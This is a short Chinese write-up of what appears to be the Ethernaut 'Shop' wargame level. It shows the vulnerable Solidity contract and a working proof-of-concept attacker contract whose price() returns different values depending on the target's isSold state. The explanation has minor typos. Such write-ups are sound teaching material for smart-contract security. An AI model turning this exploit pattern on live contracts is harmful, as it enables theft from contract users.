Shop-wp

合约可以以任何他们想要的方式操纵可看到的其他合约的数据。

根据外部和不受信任的合约逻辑更改状态是不安全的

合约源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

POC

contract Buyer_Hack {
    Shop immutable target;

    constructor(address tar) {
        target = Shop(tar);
    }

    function pwn() external {
        target.buy();
        require(target.price() == 99,"hack failed");
    }

    function price() external view returns (uint) {
        if(target.isSold() == false) {
            return 100;
        }
        return 99;
    }
}

攻击原理:

在 Shop 合约中,要求我们最后设置的 price < 100 即可通关,而实际上,buy函数调用了两次_buyer.price()函数,也就是我们需要:第一次调用price()函数返回值>=100,第二次调用price()函数返回值 < 100。实际上,Shop 合约中的Buyer _buyer = Buyer(mag.sender)使得我们可以在我们的攻击合约中设计price()函数的逻辑,由于Buyer(msg.sender)的限制,所以攻击的逻辑,也必须要在我们实现price()这个合约中,这也是为什么pwn()函数要和price()必须在一个合约中。而想要实现两次调用price()返回值不同,因为price()函数是view类型,不能通过添加状态变量修改状态变量的形式,但是view是可以访问状态变量的,那么只要两次的状态变量不同,被其他逻辑修改便可以利用。比如在两次调用_buyer.price()的过程中,状态变量isSlod发生了变化,所以我们可以通过判断状态变量isSlod来实现两次调用price()返回值不同的操作